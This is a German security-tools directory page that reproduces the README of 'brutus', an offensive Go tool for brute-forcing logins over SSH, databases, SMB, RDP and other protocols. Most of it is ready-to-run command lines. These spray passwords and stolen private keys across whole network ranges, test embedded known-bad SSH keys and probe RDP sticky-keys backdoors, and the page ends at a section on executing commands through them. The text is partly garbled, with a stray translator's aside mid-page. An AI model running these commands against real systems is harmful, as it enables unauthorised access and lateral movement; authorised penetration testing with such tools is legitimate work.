Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
brutus — Schnelles, abhängigkeitsfreies Credential-Testing-Tool in Go. Brute Force für SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB und 20+ Protokolle. Hydra-Alternative mit nativer nerva/naabu-Pipeline-Integration. | Kitploit
Tools/GitHubGitHub/praetorian-inc/brutus
SchwachstellenscannerPasswortangriffeExploitationLaterale BewegungInformationsbeschaffungNetzwerksicherheitPenetrationstestsDienstprogramme & FrameworksAuthentifizierungRed Teaming
GitHubpraetorian-inc/brutus
307417vor 1h 57mVon Kitploit geprüft

brutus

Schnelles, abhängigkeitsfreies Credential-Testing-Tool in Go. Brute Force für SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB und 20+ Protokolle. Hydra-Alternative mit nativer nerva/naabu-Pipeline-Integration.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Brutus - Sozial

Brutus

"Et tu, Brute?" — Die letzten Worte, bevor Zugangsdaten fallen.

Modernes Tool zum Testen von Anmeldedaten in reinem Go

Installation • Schnellstart • Pipeline • Protokolle • Enumeration • Proxy • Bibliothek


Überblick

Brutus ist ein Multi-Protokoll-Authentifizierungstestwerkzeug, das entwickelt wurde, um eine kritische Lücke in der Offensiv-Sicherheitswerkzeuglandschaft zu schließen: effiziente Validierung von Anmeldedaten über verschiedene Netzwerkdienste hinweg. Während HTTP-fokussierte Werkzeuge reichlich vorhanden sind, stoßen Penetrationstester und Red-Team-Operatoren häufig auf Datenbanken, SSH, SMB und andere Netzwerkdienste, die speziell entwickelte Authentifizierungstestfunktionen erfordern.

In Go als einzelne Binärdatei ohne externe Abhängigkeiten gebaut, integriert sich Brutus nahtlos mit Nerva für die automatisierte Dienstfindung, sodass Betreiber schnell Authentifizierungsvektoren über ganze Netzwerkbereiche identifizieren und testen können.

Hauptfunktionen:

  • Keine Abhängigkeiten: Einzelne Binärdatei, plattformübergreifend (Linux, Windows, macOS)
  • 27 Protokolle: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth und mehr
  • SOCKS5-Proxy-Unterstützung: Leite den gesamten Datenverkehr über einen SOCKS5-Proxy mit
--proxy
  • Aggressivitätsmodi: --mode cautious|default|aggressive zur Abstimmung von Abdeckung vs. Sicherheit
  • Pipeline-Integration: Native Unterstützung für Nerva, naabu, nmap und masscan Workflows
  • Eingebettete schlechte Schlüssel: Integrierte Sammlung bekannter SSH-Schlüssel (Vagrant, F5, ExaGrid, usw.)
  • Konto-Enumeration: Kontoexistenz-Orakel-Enumeration, Kerberos-Benutzer-Enumeration, E-Mail-Generierung, Microsoft Teams/Entra ID Gerätecode-Authentifizierung
  • Go-Bibliothek: Direkt in Ihre Sicherheitsautomatisierungswerkzeuge importieren
  • Produktionsreif: Ratenbegrenzung, Verbindungspooling und umfassende Fehlerbehandlung

  • Warum Brutus?

    Traditionelle Werkzeuge wie THC Hydra haben der Sicherheitsgemeinschaft gute Dienste geleistet, aber sie bringen erhebliche Reibung mit sich: komplexe Abhängigkeitsketten, plattformspezifische Kompilierungsprobleme und keine native Integration mit modernen Erkundungs-Workflows.

    Brutus ist speziell für moderne offensive Sicherheit konzipiert:

    • Echte Null-Abhängigkeits-Bereitstellung: Laden Sie eine einzelne Binärdatei herunter und führen Sie sie aus. Kein libssh-dev, kein libmysqlclient-dev, keine Kompilierungsfehler. Funktioniert identisch auf Linux, macOS und Windows.

    • Native Pipeline-Integration: Brutus spricht JSON und integriert sich direkt mit Nerva, naabu, nmap und masscan. Leiten Sie entdeckte Dienste direkt in die Anmeldedatentests ohne Formatkonvertierung oder Skripterstellung.

    • Eingebettete Intelligenz: Bekannte schlechte SSH-Schlüssel (Vagrant, F5 BIG-IP, ExaGrid, usw.) sind in die Binärdatei kompiliert. Verwenden Sie brutus badkeys, um sie gegen SSH-Ziele zu testen.

    • Bibliothek-zuerst-Design: Importieren Sie Brutus direkt in Ihre Go-Sicherheitswerkzeuge. Erstellen Sie benutzerdefinierte Automatisierung ohne Auslagerung an externe Prozesse.```bash

    Full network credential audit in one pipeline (JSON mode)

    naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

    Or use Nerva's default URI output — no --json flags needed

    naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

    root@kitploit:~
    ---
    
    ## Anwendungsfälle
    
    ### Penetrationstests
    - Entdeckte Anmeldeinformationen während interner Bewertungen über mehrere Dienste hinweg validieren
    - Muster der Passwortwiederverwendung über Datenbank- und Dateifreigabedienste testen
    - Standard-Anmeldeinformationen auf neu bereitgestellter Infrastruktur identifizieren
    
    ### Red-Team-Operationen
    - Schnelle Validierung von Anmeldeinformationen nach Passwort-Leaks oder Phishing-Kampagnen
    - Möglichkeiten der lateralen Bewegung über Netzwerkdienste testen
    - Kompromittierte Anmeldeinformationen über heterogene Umgebungen hinweg validieren
    
    ### Spraying von privaten Schlüsseln
    
    Haben Sie einen privaten Schlüssel auf einem kompromittierten System gefunden? Sprayen Sie ihn über das Netzwerk, um herauszufinden, wo er sonst noch Zugriff gewährt:```bash
    # Discover SSH services and spray a found private key
    naabu -host 10.0.0.0/24 -p 22 -silent | \
      nerva --json | \
      brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
    

    This pipeline discovers all SSH services, identifies them with Nerva, and tests the compromised key against common usernames—revealing lateral movement opportunities in seconds.

    Test von Web-Admin-Panels

    Entdecken Sie HTTP-Dienste und testen Sie Anmeldedaten mithilfe von KI-gestützter Erkennung oder manuellen Anmeldedatenlisten:```bash

    AI-powered: auto-detect devices and suggest default credentials

    naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
    nerva --json |
    brutus web --experimental-ai --json

    Manual: test specific credentials against web panels

    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web -c "admin:admin,root:password" --json

    Default wordlist: test common credentials without AI or -c

    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web --json

    root@kitploit:~
    ### Sicherheitsvalidierung
    - Testen Sie Standard-Anmeldedaten auf neu bereitgestellten Diensten
    - Überprüfen Sie die Durchsetzung von Passwortrichtlinien auf allen Plattformen
    - Erstellen Sie Prüfpfade für Compliance- und Sicherheitsbewertungen
    
    ---
    
    ## Installation
    
    ### Vorgefertigte Binärdateien (Empfohlen)
    
    Download from [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
    # Linux (amd64)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    
    # macOS (Apple Silicon)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    
    # macOS (Intel)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    

    INPUT:```powershell

    Windows (PowerShell)

    Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

    root@kitploit:~
    ### Go Installation```bash
    go install github.com/praetorian-inc/brutus/cmd/brutus@latest
    

    Schnellstart

    Unterbefehle

    Brutus organisiert seine Funktionalität in sechs fokussierte Unterbefehle:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

    root@kitploit:~
    Jeder Unterbefehl hat Aliase zur Auffindbarkeit:
    | Unterbefehl | Aliase |
    |------------|---------|
    | `creds` | `services`, `defaults`, `credentials` |
    | `web` | `http`, `panels` |
    | `snmp` | `community` |
    | `badkeys` | `keys`, `ssh-keys`, `badkey` |
    | `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
    | `enum` | *(keine)* |```bash
    # Test SSH credentials
    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
    
    # Test HTTP web panel with AI credential detection
    brutus web --target 192.168.1.1:80 --experimental-ai
    
    # Test HTTP web panel with manual credentials
    brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
    
    # Test SNMP community strings
    brutus snmp --target 192.168.1.1:161 --mode aggressive
    
    # Detect Windows logon-screen backdoors
    brutus logon --target 10.0.0.50:3389
    
    # Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
    naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
    naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
    

    Grundlegende Nutzung```bash

    Test SSH with default credentials

    brutus creds --target 192.168.1.100:22 --protocol ssh

    Test with specific credentials

    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

    Test with username and password lists

    brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

    Test MySQL database

    brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

    Test SSH with a specific private key

    brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

    Increase threads for faster testing

    brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

    JSON output for scripting

    brutus creds --target 192.168.1.100:22 --protocol ssh --json

    root@kitploit:~
    ### Ausgabe Beispiel```
    $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
    [+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
    

    Mit verbose-Modus (-v):``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

    root@kitploit:~
    JSON-Ausgabe für Pipeline-Integration (gibt nur erfolgreiche Anmeldedaten aus):```
    $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
    {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
    

    Pipeline-Integration

    Brutus lässt sich nahtlos in Nerva und naabu für eine vollständige Netzwerkerkundung integrieren.

    Praxisnahe Szenarien

    Szenario 1: Scannen eines Unternehmens-/24-Netzwerks```bash

    Discover all open ports, identify services, test default credentials

    naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
    nerva --json |
    brutus creds --json -o results.json

    Same pipeline using Nerva's default URI output (no --json needed)

    naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
    nerva | brutus creds -o results.json

    Review findings (all output is successful credentials)

    cat results.json | jq '.'

    root@kitploit:~
    #### Szenario 2: Bug Bounty Recon auf einer Zieldomain```bash
    # Full pipeline against a single target
    naabu -host target.example.com -top-ports 1000 -silent | \
      nerva --json | \
      brutus creds
    
    # Or scan a list of subdomains
    cat subdomains.txt | naabu -silent | nerva --json | brutus creds
    

    Szenario 3: Datenbank-Jagd in einer internen Bewertung```bash

    Find and test all databases in a range

    naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
    nerva --json |
    brutus creds -t 5 --json |
    tee database-findings.json

    Extract credentials in readable format

    jq -r '"(.target) (.username):(.password)"' database-findings.json

    root@kitploit:~
    #### Szenario 4: SSH-Key-Tests in der gesamten Infrastruktur```bash
    # Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
    naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
      nerva --json | \
      brutus badkeys --json -o ssh-key-findings.json
    
    # Find systems using compromised SSH keys (key field is true)
    cat ssh-key-findings.json | jq 'select(.key == true)'
    

    Szenario 5: Gezieltes Service-Testing```bash

    Test only Redis instances found in the network

    naabu -host 172.16.0.0/12 -p 6379 -silent |
    nerva --json |
    brutus creds

    Test only MongoDB with custom credentials

    naabu -host 10.0.0.0/24 -p 27017 -silent |
    nerva --json |
    brutus creds -u admin,root,mongodb -p admin,password,mongodb

    root@kitploit:~
    ### Import von Scan-Tools (Nmap & Masscan)
    
    Brutus kann Ziele direkt aus **nmap**- und **masscan**-Scanausgabedateien importieren, sodass keine Formatkonvertierung oder Zwischentools erforderlich sind.
    
    #### Nmap XML Import (`--nmap-file`)
    
    Importiert Ziele aus nmaps XML-Ausgabe (`-oX`). Nmap bietet Service-Fingerprinting, sodass Brutus erkannte Dienste automatisch dem richtigen Protokoll zuordnet:```bash
    # Run an nmap service scan
    nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
    
    # Feed nmap results directly to Brutus
    brutus creds --nmap-file scan.xml -P passwords.txt
    
    # Test web services from nmap scan
    brutus web --nmap-file scan.xml -c "admin:admin,root:password"
    
    # Test SNMP from nmap scan
    brutus snmp --nmap-file scan.xml --mode aggressive
    
    # JSON output for scripting
    brutus creds --nmap-file scan.xml --json -o results.json
    

    Nmap-Dienstnamen werden automatisch auf Brutus-Protokolle abgebildet (z.B. ms-wbt-server → rdp, microsoft-ds → smb). TLS wird aus nmaps Attribut tunnel="ssl" erkannt. Es werden nur offene Ports auf aktiven Hosts importiert.

    Masscan JSON Import (--masscan-file)

    Importiere Ziele aus masscans JSON-Ausgabe (-oJ). Da masscan nur ein Portscanner ist (keine Dienst-Fingerabdrücke), müssen Sie entweder --protocol angeben oder Brutus mit Nerva automatisch Fingerabdrücke erstellen lassen:```bash

    Run a masscan port scan

    masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

    Test all discovered ports as SSH (when you know what's running)

    brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

    Auto-fingerprint with Nerva (when services are unknown)

    brutus creds --masscan-file scan.json -P passwords.txt

    root@kitploit:~
    #### Kombinieren mit anderen Workflows
    
    Die Flags `--nmap-file` und `--masscan-file` funktionieren mit allen Unterbefehlen und schließen sich gegenseitig mit `--target`, `--targets-file` und stdin aus:```bash
    # Scan for RDP backdoors from nmap results
    brutus logon --nmap-file scan.xml
    
    # Test SSH bad keys from nmap results
    brutus badkeys --nmap-file scan.xml
    
    # Override protocol for all masscan targets
    brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
    

    Pipeline-Eingabeformat

    Brutus akzeptiert mehrere Eingabeformate von stdin:

    Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

    root@kitploit:~
    **Nerva URI** (Standard Nerva-Ausgabe, kein `--json` erforderlich):```bash
    # Nerva outputs URI-scheme lines by default
    $ echo "github.com:22" | nerva
    ssh://github.com:22 (20.205.243.166)
    
    # Pipe directly to Brutus — protocol is extracted from the URI scheme
    echo "10.0.0.1:22" | nerva | brutus creds
    echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
    

    Nackte Ziele (automatisch mit Nerva identifiziert):```bash echo "192.168.1.100:22" | brutus creds

    root@kitploit:~
    Brutus automatisch:
    - JSON-, URI-Schema- und reine Zielformate parst
    - Dienste Protokollen zuordnet
    - Passende Standard-Anmeldeinformationen testet
    - Ergebnisse im passenden JSON-Format ausgibt
    
    ### Pipeline-Ausgabeformat
    
    Brutus gibt nur erfolgreiche Anmeldeinformationen im JSONL-Format aus (ein JSON-Objekt pro Zeile):```bash
    # Brutus JSON output (with --json flag) - only successful authentications
    {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
    {"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
    {"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
    

    Hinweis: Fehlgeschlagene Authentifizierungsversuche sind nicht im JSON-Output enthalten. Das key-Feld erscheint (als true), wenn für die Authentifizierung ein SSH-Schlüssel anstelle eines Passworts verwendet wurde. Das llm_suggested-Feld erscheint (als true), wenn die Anmeldeinformationen vom KI-System vorgeschlagen wurden (--experimental-ai).


    Vergleich

    FunktionHydraMedusaNcrackBrutus
    Einzelne Binärdatei❌❌❌✅
    Keine Abhängigkeiten❌❌❌✅
    SOCKS5-Proxy✅❌❌✅
    Nerva-Pipeline❌❌❌✅
    Nmap/Masscan-Import❌❌❌✅
    JSON-Streaming⚠️❌❌✅
    Plattformübergreifend⚠️⚠️⚠️✅
    Einheitliche Fehler⚠️⚠️⚠️✅
    Aktive Entwicklung✅⚠️❌✅
    Eingebettete Bad Keys❌❌❌✅
    Go-Bibliotheksimport❌❌❌✅

    Unterstützte Protokolle

    Brutus unterstützt 27 Protokolle:

    Netzwerkdienste

    ProtokollPortAuthentifizierungsmethodenAnwendungsfall
    SSH22Passwort, Private KeysServer, Netzwerkgeräte
    FTP21PasswortDateiserver, NAS-Geräte
    Telnet23PasswortLegacy-Systeme, IoT-Geräte
    VNC5900PasswortRemote-Desktops
    RDP3389NLA/CredSSP, PasswortWindows-Server, Workstations
    SNMP161Community-StringNetzwerkgeräte, Drucker

    Webdienste

    ProtokollPortAuthentifizierungsmethodenAnwendungsfall
    HTTP80Basis-AuthentifizierungAdmin-Panels (Grafana, Jenkins usw.)
    HTTPS443Basis-AuthentifizierungSichere Admin-Panels

    Unternehmensinfrastruktur

    ProtokollPortAuthentifizierungsmethodenAnwendungsfall
    SMB445Passwort, NTLMWindows-Netzwerke, Dateifreigaben
    LDAP389/636Bind DNActive Directory, Identität
    WinRM5985/5986NTLMWindows-Remoteverwaltung

    Datenbanken

    ProtokollPortAuthentifizierungsmethodenAnwendungsfall
    MySQL3306PasswortWebanwendungen
    PostgreSQL5432PasswortModerne Anwendungen
    MSSQL1433PasswortUnternehmensanwendungen
    MongoDB27017PasswortNoSQL-Backends
    Redis6379PasswortCaching, Sitzungen
    Neo4j7687PasswortGraphdatenbanken
    Cassandra9042PasswortVerteilte Datenbanken
    CouchDB5984HTTP BasicDokumentenspeicher
    Elasticsearch9200HTTP BasicSuchmaschinen
    InfluxDB8086HTTP BasicZeitreihendaten
    Oracle1521PasswortUnternehmensdatenbanken

    Container & Orchestrierung

    ProtokollPortAuthentifizierungsmethodenAnwendungsfall
    Docker2375/2376Nicht authentifiziertFreigelegte Docker-Daemons
    Kubernetes6443/10250Nicht authentifiziertFreigelegte K8s-API/kubelet

    Kommunikation

    ProtokollPortAuthentifizierungsmethodenAnwendungsfall
    SMTP25/587PasswortMail-Relay
    IMAP143/993PasswortPostfachzugriff
    POP3110/995PasswortPostfachzugriff

    Eingebettete SSH Bad Keys

    Einzelne Binärdatei, keine externen Schlüsseldateien erforderlich. Jeder Schlüssel ist mit seinem Standard-Benutzernamen für ein intelligentes Mapping der Anmeldeinformationen gekoppelt, und die CVE-Verfolgung ermöglicht Compliance-Abfragen.

    Brutus enthält die rapid7/ssh-badkeys- und Vagrant-Schlüsselsammlungen, die in die Binärdatei eingebettet sind:```bash

    Test bad keys against a single target

    brutus badkeys --target 192.168.1.100:22

    Pipeline mode: scan a range for compromised SSH keys

    naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

    Test credentials (bad keys are NOT included in creds mode)

    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

    root@kitploit:~
    ### Eingebettete Schlüsselsammlung
    
    | Produkt | CVE | Standardbenutzer | Beschreibung |
    |---------|-----|------------------|--------------|
    | Vagrant | - | vagrant, root | HashiCorp Vagrant unsicherer Schlüssel |
    | F5 BIG-IP | CVE-2012-1493 | root | Statischer SSH-Host-Schlüssel |
    | ExaGrid | CVE-2016-1561 | root | Hintertür für Backup-Appliance |
    | Monroe DASDEC | CVE-2013-0137 | root | Notfallwarnsysteme |
    | Barracuda | CVE-2014-8428 | cluster | Load-Balancer-VM |
    | Ceragon FibeAir | CVE-2015-0936 | mateidu | Drahtloses Backhaul |
    | Array Networks | - | sync | vAPV/vxAG-Appliances |
    | Quantum DXi | - | root | Deduplizierungs-Appliances |
    | Loadbalancer.org | - | root | Enterprise-Load-Balancer |
    
    ---
    
    ## Aggressivitätsmodi
    
    Das globale `--mode`-Flag (`-m`) steuert die Aggressivität über alle Unterbefehle hinweg. Es setzt Leistungsoptimierungs-Voreinstellungen, die die Abdeckung gegen Sicherheit abwägen:
    
    | Modus | Threads | Timeout | Ratenlimit | Jitter | Wiederholungen | Anwendungsfall |
    |-------|---------|---------|------------|--------|----------------|----------------|
    | `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Produktionsumgebungen, Sperrungen vermeiden |
    | `default` | 10 | 10s | Unbegrenzt | Keine | 2 | Standardtests |
    | `aggressive` | 20 | 10s | Unbegrenzt | Keine | 3 | Labor-/CTF-Umgebungen, maximale Abdeckung |
    
    Modus-Voreinstellungen werden zuerst angewendet, danach überschreiben explizite CLI-Flags diese:```bash
    # Safe mode for production Active Directory (low concurrency, rate-limited)
    brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
    
    # Maximum coverage for a CTF
    brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
    
    # Cautious mode but override threads
    brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
    

    Für SNMP steuert der Modus auch die Tiefe der integrierten Wortliste (siehe SNMP Community String Testing).


    SOCKS5 Proxy-Unterstützung

    Das --proxy-Flag leitet alle Verbindungen über einen SOCKS5-Proxy. Dies funktioniert über alle Protokolle und Unterbefehle hinweg:```bash

    Route SSH testing through a SOCKS5 proxy

    brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

    Proxy with authentication

    brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

    DNS resolution on the proxy side (socks5h)

    brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

    Combine with pipeline input

    naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

    Works with all subcommands

    brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

    root@kitploit:~
    Unterstützte Schemata:
    - `socks5://` — Standard-SOCKS5-Proxy (clientseitige DNS-Auflösung)
    - `socks5h://` — SOCKS5 mit fernseitiger DNS-Auflösung (nützlich beim Anvisieren interner Hostnamen)
    
    ---
    
    ## SNMP-Community-String-Tests
    
    Der Unterbefehl `snmp` bietet dedizierte Tests von SNMP-v1/v2c-Community-Strings mit abgestuften Wortlisten, die durch das globale Flag `--mode` gesteuert werden:
    
    | Modus | Strings | Abdeckung |
    |-------|---------|-----------|
    | `cautious` | ~25 | Gängige Strings (public, private, community, usw.) |
    | `default` | ~25 | Wie bei cautious |
    | `aggressive` | 200+ | Umfassend (herstellerabhängig, SCADA, IP-Kameras, Storage, usw.) |```bash
    # Test with default community strings (~25)
    brutus snmp --target 192.168.1.1:161
    
    # Aggressive mode for comprehensive testing (200+)
    brutus snmp --target 10.0.0.1:161 --mode aggressive
    
    # Custom community strings
    brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
    
    # Custom community string file
    brutus snmp --target 192.168.1.1:161 -C community-strings.txt
    
    # Pipeline mode
    naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
    

    Bibliotheksintegration

    Für Entwickler, die Sicherheitsautomatisierungswerkzeuge bauen, kann Brutus auch als Go-Bibliothek importiert werden:```bash go get github.com/praetorian-inc/brutus

    root@kitploit:~
    **Der Inhalt scheint leer zu sein.**  
    Wir benötigen mehr Inhalt, um fortzufahren.  
    - [Zurück nach oben](#readme)  
    ---  
    ## Übersetzung  
    Die Übersetzung der hier genannten Werkzeuge bezieht sich auf eine Konvertierung von einer natürlichen Sprache in eine andere. Dies trifft normalerweise nicht auf Open-Source-Cybersicherheitswerkzeuge zu, die typischerweise auf Englisch sind, aber die README bietet manchmal übersetzte Versionen oder Beschreibungen.```go
    package main
    
    import (
        "fmt"
        "time"
    
        "github.com/praetorian-inc/brutus/pkg/brutus"
        _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
    )
    
    func main() {
        config := &brutus.Config{
            Target:        "192.168.1.100:22",
            Protocol:      "ssh",
            Usernames:     []string{"root", "admin"},
            Passwords:     []string{"password", "admin", "toor"},
            Timeout:       5 * time.Second,
            Threads:       10,
        }
    
        results, err := brutus.Brute(config)
        if err != nil {
            panic(err)
        }
    
        for _, r := range results {
            if r.Success {
                fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
            }
        }
    }
    

    Experimentell: KI-gestützte Erkennung von Zugangsdaten

    ⚠️ Experimentelle Funktion: KI-Funktionen benötigen externe API-Schlüssel und befinden sich in aktiver Entwicklung.

    Das --experimental-ai Flag

    Das --experimental-ai Flag aktiviert die automatische Erkennung von Zugangsdaten für HTTP-Dienste:```bash

    Set up API keys

    export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

    AI-powered credential testing against HTTP services

    naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web --experimental-ai

    root@kitploit:~
    **Wie es funktioniert:**
    
    1. **Erkennung** — Brutus testet HTTP-Ziele, um den Authentifizierungstyp zu erkennen (Basic Auth vs. formularbasiert)
    2. **Geräteidentifikation** — Claude Vision analysiert Screenshots, um das Gerät/die Anwendung zu identifizieren
    3. **Anmeldeinformationsvorschläge** — Claude schlägt Standard-Anmeldeinformationen aus seinen Trainingsdaten vor
    4. **Optionale Websuche** — Perplexity (falls konfiguriert) sucht online nach weiteren Anmeldeinformationen
    5. **Testen** — Testet die gefundenen Anmeldeinformationen gegen das Ziel
    
    **Für HTTP Basic Auth Ziele:**
    - Testet `/` um HTTP-Header zu erfassen
    - Identifiziert Gerät aus Server-Header, WWW-Authenticate-Realm etc.
    - Claude schlägt wahrscheinliche Standard-Anmeldeinformationen vor
    - Testet Anmeldeinformationspaare automatisch
    
    **Für HTTP formularbasierte Auth-Ziele:**
    - Verwendet headless Chrome zum Rendern und Erstellen eines Screenshots der Seite
    - Claude Vision identifiziert das Login-Formular, den Gerätetyp und schlägt Anmeldeinformationen vor
    - Perplexity (optional) sucht nach weiteren Standard-Anmeldeinformationen
    - Browser-Automatisierung füllt und sendet das Formular ab
    
    **Anforderungen:**
    - `ANTHROPIC_API_KEY` — **Erforderlich** für Claude Vision (Geräteidentifikation + Anmeldeinformationsvorschläge)
    - `PERPLEXITY_API_KEY` — *Optional* für zusätzliche Websuche-Recherche
    - Chrome/Chromium installiert (nur für formularbasierte Auth)
    
    **Nicht-HTTP-Protokolle (SSH, MySQL, etc.) werden von `--experimental-ai` nicht beeinflusst** — sie verwenden weiterhin Standard-Anmeldeinformationstests.
    
    ---
    
    ## RDP: Erkennung und Ausnutzung der Sticky Keys Hintertür
    
    Brutus beinhaltet automatische Erkennung der **Sticky Keys Hintertür** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) auf RDP-Zielen. Diese Pre-Authentifizierungsprüfung läuft auf Nicht-NLA RDP-Zielen — keine Anmeldeinformationen erforderlich.
    
    **Wie es funktioniert:**
    
    1. Stellt eine Verbindung zum RDP-Ziel her und handelt eine Nicht-NLA-Sitzung aus
    2. Erfasst den Login-Bildschirm-Bitmap als Basislinie
    3. Sendet 5x die Umschalttaste (der Sticky Keys Auslöser)
    4. Erfasst den Antwort-Bitmap
    5. Heuristische Analyse erkennt, ob ein Terminalfenster erschienen ist (cmd.exe, PowerShell usw.)
    6. Optional Bestätigung über Claude Vision API (wenn `ANTHROPIC_API_KEY` gesetzt ist)```bash
    # Detection only — no brute force
    brutus logon --target 10.0.0.50:3389
    
    # Detection + Vision API confirmation
    brutus logon --target 10.0.0.50:3389 --experimental-ai
    

    Nur-Erkennungs-Modus: Der Unterbefehl logon führt die Sticky-Keys- und Utilman-Backdoor-Erkennung ohne Brute-Force durch:```bash

    Detection only (no brute force)

    brutus logon --target 10.0.0.50:3389

    root@kitploit:~
    **Erkennungsausgabe:**```
    [CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
    sethc.exe has been replaced with cmd.exe or similar.
    SYSTEM-level unauthenticated access available via 5x Shift.
    

    Befehlsausführung über Backdoor (--exec)

